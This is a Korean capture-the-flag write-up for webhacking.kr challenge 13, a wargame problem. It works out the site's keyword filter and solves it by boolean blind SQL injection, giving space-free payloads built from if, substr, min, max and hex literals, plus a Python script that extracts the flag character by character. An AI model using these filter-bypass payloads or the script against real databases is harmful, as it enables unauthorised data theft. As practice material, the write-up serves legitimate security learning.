webhacking.kr 13번 문제를 보면 다음과 같다.
SQL INJECTION 문제인 것 같고, 힌트로 select 문이 주어져있다.
페이지 소스를 보면 다음과 같다.
다른 힌트는 주어져있지 않다.
일단 어떤 문자열이 필터링되어 있는지 확인할 필요가 있다.
select를 넣어보자.
result 가 0으로 나온다.
필터링이 되는 것 같지는 않다.
힌트에 있는 문자열을 한 단어씩 넣어보면 모두 필터링 되지 않는다.
두 단어씩 끊어 입력해보면 다음과 같이 필터링이 된다.
문자열 사이에 공백이 있으면 필터링이 되는 것 같다.
공격을 하기 위해 필요한 문자열을 넣어보자.
if, union, count, length, substr 등 여러 문자열을 넣어보면 다음과 같이 필터링이 되지 않는다.
필터링 되지 않는 것 |
if, count, length, substr, min, max, concat, in, 0x |
필터링 되는 것 |
union, order by, group by, limit, like |
입력창에 1, 2 숫자를 넣어봤더니 각각 다음과 가같은 화면을 볼 수 있다.
1을 넣었을 때 위와 같이 result 는 1이 출력되었다.
2를 넣었을 때 위와 같이 result는 0이 출력되었다.
이를 봤을때 1은 True, 0은 False 같다는 느낌이 들었다.
즉, 참일 때와 거짓일 때의 화면이 다르다는 것이고, 이는 BLIND INJECTION을 해야 할 것 같다.
URL에 다음과 같은 쿼리문을 날려보자.
no=if((select(count(flag))from(prob13password))in(1),1,2)
위 쿼리문은 prob13password 테이블에서 flag의 개수가 1개 이면, 1을 no에 저장하고, 그렇지 않으면 2를 저장한다. no가 2가 됐기 때문에 위 처럼 result가 0으로 나왔다.
즉, flag 칼럼에 데이터가 2개 이상이 있음을 알 수 있다.
아래 쿼리문을 이용해 개수를 알아내면 flag 칼럼에 데이터가 2개 있음을 알 수 있다.
no=if((select(count(flag))from(prob13password))in(2),1,2)
min 함수와 max 함수를 이용해 데이터 각각의 길이를 알아낼 수 있다.
다음 쿼리를 이용해 알아보자.
no=if((select(min(length(flag)))from(prob13password))in(4),1,2)
길이가 가장 짧은 flag의 길이는 4임을 알 수 있다.
위 쿼리문을 이용하면 가장 긴 flag의 길이도 알아낼 수 있다.
다음 쿼리를 이용하면 한글자씩 알아낼 수 있다.
no=if((substr((select(max(flag))from(prob13password)),1,1)in(0x66)),1,2)
max(flag)의 첫 번째 글자가 0x66(f) 임을 알 수 있다.
min과 max는 최소값, 최대값을 의미하는데, 이 함수들을 이용해서 글자를 뽑아낼 때, min이 최대길이의 flag를 max가 최소길이의 flag를 가져온다. 이 것에 대해서는 조금 더 알아봐야 할 것 같다.
이를 이용한 python 코드는 다음과 같다.
import urllib2, re
SESSION = ""
passRange = range(ord('a'), ord('z') + 1) + range(ord('!'),ord('_')+1)
data_count = 0
max_length=0
min_length=0
max_pw=""
min_pw=""
for i in range(1, 100):
print "%2s" % i
url = "http://webhacking.kr/challenge/web/web-10/index.php"
url +="?no=if((select(count(flag))from(prob13password))in("+str(i)+"),1,2)"
req = urllib2.Request(url, headers={ 'User-Agnet' : 'Mozllia/5.0' })
req.add_header('Cookie', 'PHPSESSID=%s' % SESSION)
if urllib2.urlopen(req).read().count("1") > 7:
data_count = int(i)
break
print "data count : " + str(data_count)
for i in range(1, 100):
print "%2s" % i
url = "http://webhacking.kr/challenge/web/web-10/index.php"
url += "?no=if((select(max(length(flag)))from(prob13password))in("+str(i)+"),1,2)"
req = urllib2.Request(url, headers={ 'User-Agnet' : 'Mozllia/5.0' })
req.add_header('Cookie', 'PHPSESSID=%s' % SESSION)
if urllib2.urlopen(req).read().count("1") > 7:
max_length = int(i)
break
print "max_length : " + str(max_length)
for i in range(1, 100):
print "%2s" % i
url = "http://webhacking.kr/challenge/web/web-10/index.php"
url += "?no=if((select(min(length(flag)))from(prob13password))in("+str(i)+"),1,2)"
req = urllib2.Request(url, headers={ 'User-Agnet' : 'Mozllia/5.0' })
req.add_header('Cookie', 'PHPSESSID=%s' % SESSION)
if urllib2.urlopen(req).read().count("1") > 7:
min_length = int(i)
break
print "min_length : " + str(min_length)
for i in range(int(min_length)):
for j in passRange:
hex_j = hex(j)
print "%2s" % chr(j)
url = "http://webhacking.kr/challenge/web/web-10/index.php"
url += "?no=if((substr((select(max(flag))from(prob13password)),"+str(i+1)+",1)in("+str(hex_j)+")),1,2)"
req = urllib2.Request(url, headers={ 'User-Agnet' : 'Mozllia/5.0' })
req.add_header('Cookie', 'PHPSESSID=%s' % SESSION)
if urllib2.urlopen(req).read().count("1") > 7:
min_pw += chr(j)
print "password[%s] : %4s" %(str(i), chr(j))
break
print "min_password : %s" % min_pw
for i in range(int(max_length)):
for j in passRange:
hex_j = hex(j)
print "%2s" % chr(j)
url = "http://webhacking.kr/challenge/web/web-10/index.php"
url += "?no=if((substr((select(min(flag))from(prob13password)),"+str(i+1)+",1)in("+str(hex_j)+")),1,2)"
req = urllib2.Request(url, headers={ 'User-Agnet' : 'Mozllia/5.0' })
req.add_header('Cookie', 'PHPSESSID=%s' % SESSION)
if urllib2.urlopen(req).read().count("1") > 7:
max_pw += chr(j)
print "password[%s] : %4s" %(str(i), chr(j))
break
print "data count : " + str(data_count)
print "min_length : " + str(min_length)
print "min_password : %s" % min_pw
print "max_length : " + str(max_length)
print "max_password : %s" % max_pw
위 코드의 python 파일을 아래 첨부한다.
13.py
SESSION 값은 사용자의 쿠키 값을 넣으면 된다.
최대 길이의 flag 값을 Auth에 입력하면 문제가 풀린다.